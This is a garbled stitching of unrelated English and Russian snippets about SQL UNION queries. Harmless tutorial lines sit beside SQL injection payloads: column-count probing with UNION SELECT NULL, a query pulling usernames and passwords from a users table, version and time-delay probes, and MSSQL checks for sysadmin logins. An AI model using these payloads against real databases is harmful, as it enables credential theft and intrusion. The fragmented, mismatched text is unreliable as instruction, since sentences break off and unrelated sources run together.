' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.
UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a query that has the same number of columns as the query it's being merged with, and shifted around the * to make sure the emails are displayed.
Почему используется значение NULL? Все просто, типы данных в каждом столбце должны быть совместимы между исходным и внедренным запросами.
),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- union all select @@version,user(),sleep(5),benchmark(1000000,MD5('A')),null,null,null,null,null...
[ UNION [ ALL ] SELECT_выражениеN]. Например, пусть в базе данных будут две отдельные таблицы для клиентов банка (таблица Customers) и для сотрудников банка (таблица Employees)
NULL UNION ALL SELECT username,password,null,null FROM users WHERE username LIKE CHAR(34,37,97,100,109,105,110,37,34)/*. The syntax of the Char() function changes slightly when dealing with Microsoft SQL Server.
The IS NULL operator is used to test for empty values (NULL values). The following SQL lists all customers with a NULL value in the "Address" field: ExampleGet your own SQL Server. SELECT CustomerName, ContactName, Address FROM Customers WHERE Address IS NULL
' Union select 'a',null,null,null-- ' union select null,'a',null,null-- ' Union select null,null,'a',null-- ' union select
Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005.
Пришло время поговорить об объединении данных по средствам конструкции union и union all, так как это иногда бывает очень полезно, и без использования такой конструкции бывает порой не обойтись. Примеры будем писать в СУБД MSSQL 2008, используя язык SQL.